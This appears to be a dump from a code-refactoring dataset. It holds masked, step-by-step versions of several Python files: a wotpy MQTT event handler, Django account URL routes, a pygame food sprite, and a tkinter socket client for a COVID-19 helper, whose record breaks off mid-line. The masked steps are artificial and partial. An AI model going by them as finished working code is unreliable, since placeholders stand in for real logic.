MQTT runner starts.\"\"\"\n self._interaction_subscriber.refresh()\n self._periodic_refresh_subs.start()\n yield None\n\n @tornado.gen.coroutine\n def teardown(self):\n \"\"\"Destroys the MQTT handler.\n Called when the MQTT runner stops.\"\"\"\n self._periodic_refresh_subs.stop()\n self._interaction_subscriber.dispose()\n yield None\n\n def _build_on_next(self, exp_thing, event):\n \"\"\"Builds the on_next function to use when subscribing to the given Event.\"\"\"\n topic = self.build_event_topic(exp_thing, event)\n\n def on_next(item):\n try:\n data = {'name': item.name, 'data': to_json_obj(item.data),\n 'timestamp': int(time.time() * 1000)}\n self.queue.put_nowait({'topic': topic, 'data': json.dumps(\n data).encode(), 'qos': self._qos})\n except QueueFull:\n pass\n return on_next\n", "step-3": "<mask token>\n\n\nclass EventMQTTHandler(BaseMQTTHandler):\n \"\"\"MQTT handler for Event subscriptions.\"\"\"\n DEFAULT_CALLBACK_MS = 2000\n DEFAULT_JITTER = 0.2\n\n def __init__(self, mqtt_server, qos=QOS_0, callback_ms=None):\n super(EventMQTTHandler, self).__init__(mqtt_server)\n callback_ms = (self.DEFAULT_CALLBACK_MS if callback_ms is None else\n callback_ms)\n self._qos = qos\n self._callback_ms = callback_ms\n self._subs = {}\n self._interaction_subscriber = InteractionsSubscriber(interaction_type\n =InteractionTypes.EVENT, server=self.mqtt_server,\n on_next_builder=self._build_on_next)\n\n @tornado.gen.coroutine\n def refresh_subs():\n self._interaction_subscriber.refresh()\n self._periodic_refresh_subs = tornado.ioloop.PeriodicCallback(\n refresh_subs, self._callback_ms, jitter=self.DEFAULT_JITTER)\n\n def build_event_topic(self, thing, event):\n \"\"\"Returns the MQTT topic for Event emissions.\"\"\"\n return '{}/event/{}/{}'.format(self.servient_id, thing.url_name,\n event.url_name)\n\n @tornado.gen.coroutine\n def init(self):\n \"\"\"Initializes the MQTT handler.\n Called when the MQTT runner starts.\"\"\"\n self._interaction_subscriber.refresh()\n self._periodic_refresh_subs.start()\n yield None\n\n @tornado.gen.coroutine\n def teardown(self):\n \"\"\"Destroys the MQTT handler.\n Called when the MQTT runner stops.\"\"\"\n self._periodic_refresh_subs.stop()\n self._interaction_subscriber.dispose()\n yield None\n\n def _build_on_next(self, exp_thing, event):\n \"\"\"Builds the on_next function to use when subscribing to the given Event.\"\"\"\n topic = self.build_event_topic(exp_thing, event)\n\n def on_next(item):\n try:\n data = {'name': item.name, 'data': to_json_obj(item.data),\n 'timestamp': int(time.time() * 1000)}\n self.queue.put_nowait({'topic': topic, 'data': json.dumps(\n data).encode(), 'qos': self._qos})\n except QueueFull:\n pass\n return on_next\n", "step-4": "<mask token>\nimport json\nimport time\nimport tornado.gen\nimport tornado.ioloop\nfrom hbmqtt.mqtt.constants import QOS_0\nfrom tornado.queues import QueueFull\nfrom wotpy.protocols.mqtt.handlers.base import BaseMQTTHandler\nfrom wotpy.protocols.mqtt.handlers.subs import InteractionsSubscriber\nfrom wotpy.utils.utils import to_json_obj\nfrom wotpy.wot.enums import InteractionTypes\n\n\nclass EventMQTTHandler(BaseMQTTHandler):\n \"\"\"MQTT handler for Event subscriptions.\"\"\"\n DEFAULT_CALLBACK_MS = 2000\n DEFAULT_JITTER = 0.2\n\n def __init__(self, mqtt_server, qos=QOS_0, callback_ms=None):\n super(EventMQTTHandler, self).__init__(mqtt_server)\n callback_ms = (self.DEFAULT_CALLBACK_MS if callback_ms is None else\n callback_ms)\n self._qos = qos\n self._callback_ms = callback_ms\n self._subs = {}\n self._interaction_subscriber = InteractionsSubscriber(interaction_type\n =InteractionTypes.EVENT, server=self.mqtt_server,\n on_next_builder=self._build_on_next)\n\n @tornado.gen.coroutine\n def refresh_subs():\n self._interaction_subscriber.refresh()\n self._periodic_refresh_subs = tornado.ioloop.PeriodicCallback(\n refresh_subs, self._callback_ms, jitter=self.DEFAULT_JITTER)\n\n def build_event_topic(self, thing, event):\n \"\"\"Returns the MQTT topic for Event emissions.\"\"\"\n return '{}/event/{}/{}'.format(self.servient_id, thing.url_name,\n event.url_name)\n\n @tornado.gen.coroutine\n def init(self):\n \"\"\"Initializes the MQTT handler.\n Called when the MQTT runner starts.\"\"\"\n self._interaction_subscriber.refresh()\n self._periodic_refresh_subs.start()\n yield None\n\n @tornado.gen.coroutine\n def teardown(self):\n \"\"\"Destroys the MQTT handler.\n Called when the MQTT runner stops.\"\"\"\n self._periodic_refresh_subs.stop()\n self._interaction_subscriber.dispose()\n yield None\n\n def _build_on_next(self, exp_thing, event):\n \"\"\"Builds the on_next function to use when subscribing to the given Event.\"\"\"\n topic = self.build_event_topic(exp_thing, event)\n\n def on_next(item):\n try:\n data = {'name': item.name, 'data': to_json_obj(item.data),\n 'timestamp': int(time.time() * 1000)}\n self.queue.put_nowait({'topic': topic, 'data': json.dumps(\n data).encode(), 'qos': self._qos})\n except QueueFull:\n pass\n return on_next\n", "step-5": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nMQTT handler for Event subscriptions.\n\"\"\"\n\nimport json\nimport time\n\nimport tornado.gen\nimport tornado.ioloop\nfrom hbmqtt.mqtt.constants import QOS_0\nfrom tornado.queues import QueueFull\n\nfrom wotpy.protocols.mqtt.handlers.base import BaseMQTTHandler\nfrom wotpy.protocols.mqtt.handlers.subs import InteractionsSubscriber\nfrom wotpy.utils.utils import to_json_obj\nfrom wotpy.wot.enums import InteractionTypes\n\n\nclass EventMQTTHandler(BaseMQTTHandler):\n \"\"\"MQTT handler for Event subscriptions.\"\"\"\n\n DEFAULT_CALLBACK_MS = 2000\n DEFAULT_JITTER = 0.2\n\n def __init__(self, mqtt_server, qos=QOS_0, callback_ms=None):\n super(EventMQTTHandler, self).__init__(mqtt_server)\n\n callback_ms = self.DEFAULT_CALLBACK_MS if callback_ms is None else callback_ms\n\n self._qos = qos\n self._callback_ms = callback_ms\n self._subs = {}\n\n self._interaction_subscriber = InteractionsSubscriber(\n interaction_type=InteractionTypes.EVENT,\n server=self.mqtt_server,\n on_next_builder=self._build_on_next)\n\n @tornado.gen.coroutine\n def refresh_subs():\n self._interaction_subscriber.refresh()\n\n self._periodic_refresh_subs = tornado.ioloop.PeriodicCallback(\n refresh_subs, self._callback_ms, jitter=self.DEFAULT_JITTER)\n\n def build_event_topic(self, thing, event):\n \"\"\"Returns the MQTT topic for Event emissions.\"\"\"\n\n return \"{}/event/{}/{}\".format(\n self.servient_id,\n thing.url_name,\n event.url_name)\n\n @tornado.gen.coroutine\n def init(self):\n \"\"\"Initializes the MQTT handler.\n Called when the MQTT runner starts.\"\"\"\n\n self._interaction_subscriber.refresh()\n self._periodic_refresh_subs.start()\n\n yield None\n\n @tornado.gen.coroutine\n def teardown(self):\n \"\"\"Destroys the MQTT handler.\n Called when the MQTT runner stops.\"\"\"\n\n self._periodic_refresh_subs.stop()\n self._interaction_subscriber.dispose()\n\n yield None\n\n def _build_on_next(self, exp_thing, event):\n \"\"\"Builds the on_next function to use when subscribing to the given Event.\"\"\"\n\n topic = self.build_event_topic(exp_thing, event)\n\n def on_next(item):\n try:\n data = {\n \"name\": item.name,\n \"data\": to_json_obj(item.data),\n \"timestamp\": int(time.time() * 1000)\n }\n\n self.queue.put_nowait({\n \"topic\": topic,\n \"data\": json.dumps(data).encode(),\n \"qos\": self._qos\n })\n except QueueFull:\n pass\n\n return on_next\n", "step-ids": [ 6, 7, 8, 9, 10 ] }
[ 6, 7, 8, 9, 10 ]
from django.conf.urls import url from django.urls import path from . import views app_name = 'Accounts' urlpatterns = [ path('update_info', views.update_info, name='update_info'), path('create_user', views.create_user, name='create_user'), path('change_password', views.change_password, name='change_password'), path('register', views.register, name='register'), path('login', views.login, name='login'), path('logout', views.logout, name='logout'), path('test_auth', views.test, name='test'), url(r'^activate/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$', views.activate, name='activate'), path('change_user_status/<int:user_id>/<int:status>', views.change_user_status, name='change_user_status'), path('change_user_privilege/<int:user_id>/<int:status>', views.change_user_privilege, name='change_user_privilege'), ]
normal
{ "blob_id": "bfb778a2ecf43a697bc0e3449e9302142b20e1f4", "index": 4278, "step-1": "<mask token>\n", "step-2": "<mask token>\napp_name = 'Accounts'\nurlpatterns = [path('update_info', views.update_info, name='update_info'),\n path('create_user', views.create_user, name='create_user'), path(\n 'change_password', views.change_password, name='change_password'), path\n ('register', views.register, name='register'), path('login', views.\n login, name='login'), path('logout', views.logout, name='logout'), path\n ('test_auth', views.test, name='test'), url(\n '^activate/(?P<uidb64>[0-9A-Za-z_\\\\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$'\n , views.activate, name='activate'), path(\n 'change_user_status/<int:user_id>/<int:status>', views.\n change_user_status, name='change_user_status'), path(\n 'change_user_privilege/<int:user_id>/<int:status>', views.\n change_user_privilege, name='change_user_privilege')]\n", "step-3": "from django.conf.urls import url\nfrom django.urls import path\nfrom . import views\napp_name = 'Accounts'\nurlpatterns = [path('update_info', views.update_info, name='update_info'),\n path('create_user', views.create_user, name='create_user'), path(\n 'change_password', views.change_password, name='change_password'), path\n ('register', views.register, name='register'), path('login', views.\n login, name='login'), path('logout', views.logout, name='logout'), path\n ('test_auth', views.test, name='test'), url(\n '^activate/(?P<uidb64>[0-9A-Za-z_\\\\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$'\n , views.activate, name='activate'), path(\n 'change_user_status/<int:user_id>/<int:status>', views.\n change_user_status, name='change_user_status'), path(\n 'change_user_privilege/<int:user_id>/<int:status>', views.\n change_user_privilege, name='change_user_privilege')]\n", "step-4": "from django.conf.urls import url\nfrom django.urls import path\n\nfrom . import views\n\napp_name = 'Accounts'\nurlpatterns = [\n path('update_info', views.update_info, name='update_info'),\n path('create_user', views.create_user, name='create_user'),\n path('change_password', views.change_password, name='change_password'),\n path('register', views.register, name='register'),\n path('login', views.login, name='login'),\n path('logout', views.logout, name='logout'),\n path('test_auth', views.test, name='test'),\n url(r'^activate/(?P<uidb64>[0-9A-Za-z_\\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$',\n views.activate, name='activate'),\n path('change_user_status/<int:user_id>/<int:status>', views.change_user_status, name='change_user_status'),\n path('change_user_privilege/<int:user_id>/<int:status>', views.change_user_privilege, name='change_user_privilege'),\n]\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
import pygame import random from pygame.locals import * import pygame from pygame.locals import * class GameObject(pygame.sprite.Sprite): SIZE = 8 def __init__(self, x, y, surface): super(GameObject, self).__init__() self.x = x self.y = y self.surface = surface def getDistance(self, other): return abs(self.x-other.x) + abs(self.y - other.y) def collide(self, main, other): pass import gameobject class Food(gameobject.GameObject): def __init__(self, x, y, surface, time = random.randint(0, 50)): super(Food, self).__init__(x,y,surface) self.dead = False self.SIZE = gameobject.GameObject.SIZE self.image = pygame.Surface((2*self.SIZE, 2*self.SIZE), flags = SRCALPHA) self.image.convert() self.rect = pygame.draw.circle(self.image, pygame.Color("blue"), (self.SIZE,self.SIZE), self.SIZE/2+2) self.rect.midtop = (x,y) def update(self): pass # self.rect.midtop = (self.x, self.y) def collide(self, main, other): if not other == self and not self.dead: self.dead = True
normal
{ "blob_id": "c589ce4ba2ae60d14787a8939146f6140fff1f01", "index": 7914, "step-1": "<mask token>\n\n\nclass GameObject(pygame.sprite.Sprite):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\n<mask token>\n\n\nclass Food(gameobject.GameObject):\n\n def __init__(self, x, y, surface, time=random.randint(0, 50)):\n super(Food, self).__init__(x, y, surface)\n self.dead = False\n self.SIZE = gameobject.GameObject.SIZE\n self.image = pygame.Surface((2 * self.SIZE, 2 * self.SIZE), flags=\n SRCALPHA)\n self.image.convert()\n self.rect = pygame.draw.circle(self.image, pygame.Color('blue'), (\n self.SIZE, self.SIZE), self.SIZE / 2 + 2)\n self.rect.midtop = x, y\n\n def update(self):\n pass\n\n def collide(self, main, other):\n if not other == self and not self.dead:\n self.dead = True\n", "step-2": "<mask token>\n\n\nclass GameObject(pygame.sprite.Sprite):\n <mask token>\n <mask token>\n\n def getDistance(self, other):\n return abs(self.x - other.x) + abs(self.y - other.y)\n\n def collide(self, main, other):\n pass\n\n\n<mask token>\n\n\nclass Food(gameobject.GameObject):\n\n def __init__(self, x, y, surface, time=random.randint(0, 50)):\n super(Food, self).__init__(x, y, surface)\n self.dead = False\n self.SIZE = gameobject.GameObject.SIZE\n self.image = pygame.Surface((2 * self.SIZE, 2 * self.SIZE), flags=\n SRCALPHA)\n self.image.convert()\n self.rect = pygame.draw.circle(self.image, pygame.Color('blue'), (\n self.SIZE, self.SIZE), self.SIZE / 2 + 2)\n self.rect.midtop = x, y\n\n def update(self):\n pass\n\n def collide(self, main, other):\n if not other == self and not self.dead:\n self.dead = True\n", "step-3": "<mask token>\n\n\nclass GameObject(pygame.sprite.Sprite):\n <mask token>\n\n def __init__(self, x, y, surface):\n super(GameObject, self).__init__()\n self.x = x\n self.y = y\n self.surface = surface\n\n def getDistance(self, other):\n return abs(self.x - other.x) + abs(self.y - other.y)\n\n def collide(self, main, other):\n pass\n\n\n<mask token>\n\n\nclass Food(gameobject.GameObject):\n\n def __init__(self, x, y, surface, time=random.randint(0, 50)):\n super(Food, self).__init__(x, y, surface)\n self.dead = False\n self.SIZE = gameobject.GameObject.SIZE\n self.image = pygame.Surface((2 * self.SIZE, 2 * self.SIZE), flags=\n SRCALPHA)\n self.image.convert()\n self.rect = pygame.draw.circle(self.image, pygame.Color('blue'), (\n self.SIZE, self.SIZE), self.SIZE / 2 + 2)\n self.rect.midtop = x, y\n\n def update(self):\n pass\n\n def collide(self, main, other):\n if not other == self and not self.dead:\n self.dead = True\n", "step-4": "import pygame\nimport random\nfrom pygame.locals import *\nimport pygame\nfrom pygame.locals import *\n\n\nclass GameObject(pygame.sprite.Sprite):\n SIZE = 8\n\n def __init__(self, x, y, surface):\n super(GameObject, self).__init__()\n self.x = x\n self.y = y\n self.surface = surface\n\n def getDistance(self, other):\n return abs(self.x - other.x) + abs(self.y - other.y)\n\n def collide(self, main, other):\n pass\n\n\nimport gameobject\n\n\nclass Food(gameobject.GameObject):\n\n def __init__(self, x, y, surface, time=random.randint(0, 50)):\n super(Food, self).__init__(x, y, surface)\n self.dead = False\n self.SIZE = gameobject.GameObject.SIZE\n self.image = pygame.Surface((2 * self.SIZE, 2 * self.SIZE), flags=\n SRCALPHA)\n self.image.convert()\n self.rect = pygame.draw.circle(self.image, pygame.Color('blue'), (\n self.SIZE, self.SIZE), self.SIZE / 2 + 2)\n self.rect.midtop = x, y\n\n def update(self):\n pass\n\n def collide(self, main, other):\n if not other == self and not self.dead:\n self.dead = True\n", "step-5": "import pygame\nimport random\n \nfrom pygame.locals import *\nimport pygame\n \nfrom pygame.locals import *\n \nclass GameObject(pygame.sprite.Sprite):\n SIZE = 8\n def __init__(self, x, y, surface):\n super(GameObject, self).__init__()\n self.x = x\n self.y = y\n self.surface = surface\n \n \n def getDistance(self, other):\n return abs(self.x-other.x) + abs(self.y - other.y)\n \n def collide(self, main, other): \n pass\nimport gameobject\n\n \nclass Food(gameobject.GameObject):\n \n def __init__(self, x, y, surface, time = random.randint(0, 50)):\n super(Food, self).__init__(x,y,surface)\n self.dead = False\n self.SIZE = gameobject.GameObject.SIZE\n self.image = pygame.Surface((2*self.SIZE, 2*self.SIZE),\n flags = SRCALPHA)\n self.image.convert()\n \n self.rect = pygame.draw.circle(self.image,\n pygame.Color(\"blue\"),\n (self.SIZE,self.SIZE), self.SIZE/2+2)\n \n \n self.rect.midtop = (x,y)\n \n def update(self):\n pass\n # self.rect.midtop = (self.x, self.y)\n \n def collide(self, main, other):\n if not other == self and not self.dead: \n self.dead = True\n", "step-ids": [ 5, 7, 8, 10, 11 ] }
[ 5, 7, 8, 10, 11 ]
import tkinter as tk # Import tkinker for GUI creation from PIL import Image, ImageTk # Allow images to be used as backgrounds import socket # Importing sockets for low level implementation of networks import select # Importing select to poll between the user input and received message import sys # Getting input from terminal and writing output to terminal # Size of GUI HEIGHT = 714 WIDTH = 1000 root = tk.Tk() #Define root to begin window def sigint_handler(signum, frame): print('\n Disconnecting from server') sys.exit() # creating the client_socket object and adding the TCP/IP and IPv4 protocol client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # IP and PORT of the socket IP = "127.0.0.1" PORT = 42069 # Let's connect to the server! client_socket.connect((IP, PORT)) # Handling Ctrl+C in a very cool way import signal signal.signal(signal.SIGINT, sigint_handler) # Clever function to send username to the server # Format # Header: length_of_username # Body: Username # Header length used to receive the username HEADER_LENGTH = 10 def sendUsernameToServer(username_entry): username = username_entry.encode('utf-8') username_header = f"{len(username):<{HEADER_LENGTH}}".encode('utf-8') client_socket.send(username_header + username) checkIO() def checkIO(): # polling between user input and message received from the server sockets_list = [sys.stdin, client_socket] # checking for I/O in read_sockets read_sockets, write_socket, error_socket = select.select( sockets_list, [], []) for socket in read_sockets: # If socket == client_socket, we got a message if socket == client_socket: message = socket.recv(2048) if not len(message): text_label['text'] = "Connection closed by server" print("Connection closed by server") sys.exit() text_label['text'] = message.decode('utf-8') print(message.decode('utf-8')) def sendY(): # Else, we can send a message message = 'y' message = message.encode('utf-8') client_socket.send(message) #sys.stdout.write(str(my_username) + " > ") # sys.stdout.write(message.decode('utf-8')) sys.stdout.flush() checkIO() def sendN(): # Else, we can send a message message = 'n' message = message.encode('utf-8') client_socket.send(message) #sys.stdout.write(str(my_username) + " > ") # sys.stdout.write(message.decode('utf-8')) sys.stdout.flush() checkIO() #client_socket.close() #----------------------------------------------------- #-------------GUI-LAYOUT------------------------------ #----------------------------------------------------- canvas = tk.Canvas(root, height=HEIGHT, width=WIDTH) canvas.pack() background_image = tk.PhotoImage(file='background.gif') background_label = tk.Label(root, image=background_image) background_label.place(relwidth=1, relheight=1) covid_label = tk.Label(root, text="COVID-19 Helper", bg="sky blue") covid_label.config(font=("Arial", 40)) covid_label.place(relx=0.12, rely=0.1, relwidth=0.76, relheight=0.1) main_frame = tk.Frame(root, bg="light blue") main_frame.place(relx=0.12, rely=0.2, relwidth=0.76, relheight=0.7) #---------------------------------------------------------- right_frame = tk.Frame(main_frame, bg="sky blue") right_frame.place(relx=0.74, rely=0.05, relwidth=0.23, relheight=0.9) heat_button = tk.Button(right_frame, text="View HeatMap", bg="deep sky blue", activebackground="steel blue") heat_button.place(relx=0.05, rely=0.04, relwidth=0.9, relheight=0.2) info_button = tk.Button(right_frame, text="Covid-19 HSE Info", bg="deep sky blue", activebackground="steel blue") info_button.place(relx=0.05, rely=0.28, relwidth=0.9, relheight=0.2) contact_button = tk.Button(right_frame, text="Heathcare Contacts", bg="deep sky blue", activebackground="steel blue") contact_button.place(relx=0.05, rely=0.52, relwidth=0.9, relheight=0.2) doctor_button = tk.Button(right_frame, text="Speak with a doctor", bg="orange2", activebackground="DarkOrange1") doctor_button.place(relx=0.05, rely=0.76, relwidth=0.9, relheight=0.2) #---------------------------------------------------------- left_frame = tk.Frame(main_frame, bg="sky blue") left_frame.place(relx=0.03, rely=0.05, relwidth=0.69, relheight=0.9) text_frame = tk.Frame(left_frame, bg="ghost white") text_frame.place(relx=0.05, rely=0.05, relwidth= 0.9, relheight=0.6) text_label = tk.Label(text_frame, bg="ghost white", font=('Courier', 10)) text_label['text'] = "Please enter your username and click\n'Connect to testing server'" text_label.place(relwidth=1, relheight=1) server_button = tk.Button(left_frame, text="Connect to testing server", bg="deep sky blue", activebackground="steel blue", command=lambda: sendUsernameToServer(username_entry.get())) server_button.place(relx=0.05, rely=0.7, relwidth=0.9, relheight=0.05) username_label = tk.Label(left_frame, text="Username:", bg="DarkSeaGreen1") username_label.place(relx=0.05, rely=0.77, relwidth=0.2, relheight=0.05) username_entry = tk.Entry(left_frame, bg="PaleGreen1") username_entry.place(relx=0.3, rely=0.77, relwidth=0.65, relheight=0.05) yes_button = tk.Button(left_frame, text="Yes", bg="deep sky blue", activebackground="steel blue", command=lambda: sendY()) yes_button.place(relx=0.05, rely=0.84, relwidth=0.44, relheight=0.12) no_button = tk.Button(left_frame, text="No", bg="deep sky blue", activebackground="steel blue", command=lambda: sendN()) no_button.place(relx=0.51, rely=0.84, relwidth=0.44, relheight=0.12) #---------------------------------------------------------- root.mainloop()
normal
{ "blob_id": "5e17299e6a409e433e384935a815bab6ce178ff5", "index": 3031, "step-1": "<mask token>\n\n\ndef sigint_handler(signum, frame):\n print('\\n Disconnecting from server')\n sys.exit()\n\n\n<mask token>\n\n\ndef sendUsernameToServer(username_entry):\n username = username_entry.encode('utf-8')\n username_header = f'{len(username):<{HEADER_LENGTH}}'.encode('utf-8')\n client_socket.send(username_header + username)\n checkIO()\n\n\ndef checkIO():\n sockets_list = [sys.stdin, client_socket]\n read_sockets, write_socket, error_socket = select.select(sockets_list,\n [], [])\n for socket in read_sockets:\n if socket == client_socket:\n message = socket.recv(2048)\n if not len(message):\n text_label['text'] = 'Connection closed by server'\n print('Connection closed by server')\n sys.exit()\n text_label['text'] = message.decode('utf-8')\n print(message.decode('utf-8'))\n\n\ndef sendY():\n message = 'y'\n message = message.encode('utf-8')\n client_socket.send(message)\n sys.stdout.flush()\n checkIO()\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef sigint_handler(signum, frame):\n print('\\n Disconnecting from server')\n sys.exit()\n\n\n<mask token>\n\n\ndef sendUsernameToServer(username_entry):\n username = username_entry.encode('utf-8')\n username_header = f'{len(username):<{HEADER_LENGTH}}'.encode('utf-8')\n client_socket.send(username_header + username)\n checkIO()\n\n\ndef checkIO():\n sockets_list = [sys.stdin, client_socket]\n read_sockets, write_socket, error_socket = select.select(sockets_list,\n [], [])\n for socket in read_sockets:\n if socket == client_socket:\n message = socket.recv(2048)\n if not len(message):\n text_label['text'] = 'Connection closed by server'\n print('Connection closed by server')\n sys.exit()\n text_label['text'] = message.decode('utf-8')\n print(message.decode('utf-8'))\n\n\ndef sendY():\n message = 'y'\n message = message.encode('utf-8')\n client_socket.send(message)\n sys.stdout.flush()\n checkIO()\n\n\ndef sendN():\n message = 'n'\n message = message.encode('utf-8')\n client_socket.send(message)\n sys.stdout.flush()\n checkIO()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef sigint_handler(signum, frame):\n print('\\n Disconnecting from server')\n sys.exit()\n\n\n<mask token>\nclient_socket.connect((IP, PORT))\n<mask token>\nsignal.signal(signal.SIGINT, sigint_handler)\n<mask token>\n\n\ndef sendUsernameToServer(username_entry):\n username = username_entry.encode('utf-8')\n username_header = f'{len(username):<{HEADER_LENGTH}}'.encode('utf-8')\n client_socket.send(username_header + username)\n checkIO()\n\n\ndef checkIO():\n sockets_list = [sys.stdin, client_socket]\n read_sockets, write_socket, error_socket = select.select(sockets_list,\n [], [])\n for socket in read_sockets:\n if socket == client_socket:\n message = socket.recv(2048)\n if not len(message):\n text_label['text'] = 'Connection closed by server'\n print('Connection closed by server')\n sys.exit()\n text_label['text'] = message.decode('utf-8')\n print(message.decode('utf-8'))\n\n\ndef sendY():\n message = 'y'\n message = message.encode('utf-8')\n client_socket.send(message)\n sys.stdout.flush()\n checkIO()\n\n\ndef sendN():\n message = 'n'\n message = message.encode('utf-8')\n client_socket.send(message)\n sys.stdout.flush()\n checkIO()\n\n\n<mask token>\ncanvas.pack()\n<mask token>\nbackground_label.place(relwidth=1, relheight=1)\n<mask token>\ncovid_label.config(font=('Arial', 40))\ncovid_label.place(relx=0.12, rely=0.1, relwidth=0.76, relheight=0.1)\n<mask token>\nmain_frame.place(relx=0.12, rely=0.2, relwidth=0.76, relheight=0.7)\n<mask token>\nright_frame.place(relx=0.74, rely=0.05, relwidth=0.23, relheight=0.9)\n<mask token>\nheat_button.place(relx=0.05, rely=0.04, relwidth=0.9, relheight=0.2)\n<mask token>\ninfo_button.place(relx=0.05, rely=0.28, relwidth=0.9, relheight=0.2)\n<mask token>\ncontact_button.place(relx=0.05, rely=0.52, relwidth=0.9, relheight=0.2)\n<mask token>\ndoctor_button.place(relx=0.05, rely=0.76, relwidth=0.9, relheight=0.2)\n<mask token>\nleft_frame.place(relx=0.03, rely=0.05, relwidth=0.69, relheight=0.9)\n<mask token>\ntext_frame.place(relx=0.05, rely=0.05, relwidth=0.9, relheight=0.6)\n<mask token>\ntext_label.place(relwidth=1, relheight=1)\n<mask token>\nserver_button.place(relx=0.05, rely=0.7, relwidth=0.9, relheight=0.05)\n<mask token>\nusername_label.place(relx=0.05, rely=0.77, relwidth=0.2, relheight=0.05)\n<mask token>\nusername_entry.place(relx=0.3, rely=0.77, relwidth=0.65, relheight=0.05)\n<mask token>\nyes_button.place(relx=0.05, rely=0.84, relwidth=0.44, relheight=0.12)\n<mask token>\nno_button.place(relx=0.51, rely=0.84, relwidth=0.44, relheight=0.12)\nroot.mainloop()\n", "step-4": "<mask token>\nHEIGHT = 714\nWIDTH = 1000\nroot = tk.Tk()\n\n\ndef sigint_handler(signum, frame):\n print('\\n Disconnecting from server')\n sys.exit()\n\n\nclient_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nIP = '127.0.0.1'\nPORT = 42069\nclient_socket.connect((IP, PORT))\n<mask token>\nsignal.signal(signal.SIGINT, sigint_handler)\nHEADER_LENGTH = 10\n\n\ndef sendUsernameToServer(username_entry):\n username = username_entry.encode('utf-8')\n username_header = f'{len(username):<{HEADER_LENGTH}}'.encode('utf-8')\n client_socket.send(username_header + username)\n checkIO()\n\n\ndef checkIO():\n sockets_list = [sys.stdin, client_socket]\n read_sockets, write_socket, error_socket = select.select(sockets_list,\n [], [])\n for socket in read_sockets:\n if socket == client_socket:\n message = socket.recv(2048)\n if not len(message):\n text_label['text'] = 'Connection closed by server'\n print('Connection closed by server')\n sys.exit()\n text_label['text'] = message.decode('utf-8')\n print(message.decode('utf-8'))\n\n\ndef sendY():\n message = 'y'\n message = message.encode('utf-8')\n client_socket.send(message)\n sys.stdout.flush()\n checkIO()\n\n\ndef sendN():\n message = 'n'\n message = message.encode('utf-8')\n client_socket.send(message)\n sys.stdout.flush()\n checkIO()\n\n\ncanvas = tk.Canvas(root, height=HEIGHT, width=WIDTH)\ncanvas.pack()\nbackground_image = tk.PhotoImage(file='background.gif')\nbackground_label = tk.Label(root, image=background_image)\nbackground_label.place(relwidth=1, relheight=1)\ncovid_label = tk.Label(root, text='COVID-19 Helper', bg='sky blue')\ncovid_label.config(font=('Arial', 40))\ncovid_label.place(relx=0.12, rely=0.1, relwidth=0.76, relheight=0.1)\nmain_frame = tk.Frame(root, bg='light blue')\nmain_frame.place(relx=0.12, rely=0.2, relwidth=0.76, relheight=0.7)\nright_frame = tk.Frame(main_frame, bg='sky blue')\nright_frame.place(relx=0.74, rely=0.05, relwidth=0.23, relheight=0.9)\nheat_button = tk.Button(right_frame, text='View HeatMap', bg=\n 'deep sky blue', activebackground='steel blue')\nheat_button.place(relx=0.05, rely=0.04, relwidth=0.9, relheight=0.2)\ninfo_button = tk.Button(right_frame, text='Covid-19 HSE Info', bg=\n 'deep sky blue', activebackground='steel blue')\ninfo_button.place(relx=0.05, rely=0.28, relwidth=0.9, relheight=0.2)\ncontact_button = tk.Button(right_frame, text='Heathcare Contacts', bg=\n 'deep sky blue', activebackground='steel blue')\ncontact_button.place(relx=0.05, rely=0.52, relwidth=0.9, relheight=0.2)\ndoctor_button = tk.Button(right_frame, text='Speak with a doctor', bg=\n 'orange2', activebackground='DarkOrange1')\ndoctor_button.place(relx=0.05, rely=0.76, relwidth=0.9, relheight=0.2)\nleft_frame = tk.Frame(main_frame, bg='sky blue')\nleft_frame.place(relx=0.03, rely=0.05, relwidth=0.69, relheight=0.9)\ntext_frame = tk.Frame(left_frame, bg='ghost white')\ntext_frame.place(relx=0.05, rely=0.05, relwidth=0.9, relheight=0.6)\ntext_label = tk.Label(text_frame, bg='ghost white', font=('Courier', 10))\ntext_label['text'] = \"\"\"Please enter your username and click\n'Connect to testing server'\"\"\"\ntext_label.place(relwidth=1, relheight=1)\nserver_button = tk.Button(left_frame, text='Connect to testing server', bg=\n 'deep sky blue', activebackground='steel blue', command=lambda :\n sendUsernameToServer(username_entry.get()))\nserver_button.place(relx=0.05, rely=0.7, relwidth=0.9, relheight=0.05)\nusername_label = tk.Label(left_frame, text='Username:', bg='DarkSeaGreen1')\nusername_label.place(relx=0.05, rely=0.77, relwidth=0.2, relheight=0.05)\nusername_entry = tk.Entry(left_frame, bg='PaleGreen1')\nusername_entry.place(relx=0.3, rely=0.77, relwidth=0.65, relheight=0.05)\nyes_button = tk.Button(left_frame, text='Yes', bg='deep sky blue',\n activebackground='steel blue', command=lambda : sendY())\nyes_button.place(relx=0.05, rely=0.84, relwidth=0.44, relheight=0.12)\nno_button = tk.Button(left_frame, text='No', bg='deep sky blue',\n activebackground='steel blue', command=lambda : sendN())\nno_button.place(relx=0.51, rely=0.84, relwidth=0.44, relheight=0.12)\nroot.mainloop()\n", "step-5": "import tkinter as tk # Import tkinker for GUI creation\nfrom PIL import Image, ImageTk # Allow images to be used as backgrounds\nimport socket # Importing sockets for low level implementation of networks\nimport select # Importing select to poll between the user input and received message\nimport sys # Getting input from terminal and writing output to terminal\n\n# Size of GUI\nHEIGHT = 714\nWIDTH = 1000\n\nroot = tk.Tk() #Define root to begin window\n\ndef sigint_handler(signum, frame):\n print('\\n Disconnecting from server')\n sys.exit()\n\n# creating the client_socket object and adding the TCP/IP and IPv4 protocol\nclient_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# IP and PORT of the socket\nIP = \"127.0.0.1\"\nPORT = 42069\n\n# Let's connect to the 